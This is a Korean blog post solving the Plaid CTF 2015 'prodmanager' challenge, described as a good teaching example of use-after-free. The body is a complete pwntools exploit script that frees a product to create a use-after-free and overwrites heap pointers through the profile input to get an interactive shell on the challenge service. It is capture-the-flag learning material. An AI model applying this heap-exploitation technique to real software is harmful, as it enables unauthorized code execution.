cdor1's lab
Plaid CTF 2015 prodmanager 본문
후기 : 이전에 푼 문제보다 난이도가 훨~씬 쉽지만 생각보다 필요한 문제를 발견한것 같다.
나중에 pwnable을 처음 공부하는 친구한테 use after free에 대해서 설명해줄 때 이 문제를 꼭 보여줘야지
from pwn import *
s = remote('localhost', 4000)
def create(name,price):
print s.recvuntil('Input:')
s.sendline('1')
print s.recvuntil('name:')
s.sendline(name)
print s.recvuntil('price:')
s.sendline(str(price))
def remove(name):
print s.recvuntil('Input:')
s.sendline('2')
print s.recvuntil('remove:')
s.sendline(name)
def add(name):
print s.recvuntil('Input:')
s.sendline('3')
print s.recvuntil('add:')
s.sendline(name)
def profile(data):
print s.recvuntil('Input:')
s.sendline('5')
print s.recvuntil('profile!')
s.sendline(data)
create('AAAA', 100)
create('BBBB', 100)
create('CCCC', 100)
add('AAAA')
add('BBBB')
add('CCCC')
remove('BBBB')
payload = p32(0) * 4
payload += p32(0x804C3E0 - 24) * 2
profile(payload)
s.interactive()
'Security > Pwnable' 카테고리의 다른 글
BoB CTF casino (0) | 2017.01.12 |
---|---|
SECCON CTF 2016 checker (0) | 2017.01.11 |
H3X0R CTF train to busan (0) | 2017.01.11 |
HITCON Qual 2016 House of orange (0) | 2017.01.10 |
RCTF 2015 shaxian (0) | 2017.01.10 |
Comments